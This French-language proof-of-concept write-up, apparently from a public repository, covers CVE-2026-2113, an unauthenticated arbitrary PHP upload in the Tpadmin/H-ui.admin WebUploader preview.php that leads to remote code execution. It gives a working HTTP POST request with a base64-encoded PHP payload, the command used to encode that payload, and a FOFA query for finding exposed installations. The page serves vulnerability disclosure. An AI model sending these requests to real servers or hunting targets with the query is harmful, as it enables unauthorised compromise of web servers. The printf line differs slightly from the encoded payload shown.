maxmnml/tpadmin-cve-2026-2113-pocUne vulnérabilité d'exécution de code à distance permettant à des attaquants non authentifiés de téléverser des fichiers PHP arbitraires directement sur le serveur web. Cela aboutit à une exécution de code à distance immédiate avec les privilèges du serveur web.
Une preuve de concept exploitant une exécution de code à distance avec les privilèges du serveur web via un téléversement de fichier arbitraire.
Une vulnérabilité critique d'exécution de code à distance existe dans le composant de prévisualisation WebUploader du système H-ui.admin. Le fichier <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">/public/static/admin/lib/webuploader/0.1.5/server/preview.php</font> manque d'authentification et de validation des fichiers, permettant à des attaquants non authentifiés de téléverser des fichiers PHP arbitraires directement sur le serveur web. Cela entraîne une exécution de code à distance immédiate avec les privilèges du serveur web.
printf "<? php phpinfo();?>" | base64
PD9waHAgcGhwaW5mbygpOz8+
POST /admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=6mqs895r9r0k9ci9jj0hms506n
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
FOFA:
title='Tpadmin'
Un attaquant distant non authentifié peut exploiter un téléversement de fichier arbitraire pour obtenir une exécution de code à distance avec les privilèges du serveur web.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - 6.9:Medium
Il n'existe aucune information sur d'éventuelles contre-mesures connues. Il peut être suggéré de remplacer l'objet affecté par un produit alternatif.
Cet outil est destiné uniquement aux tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.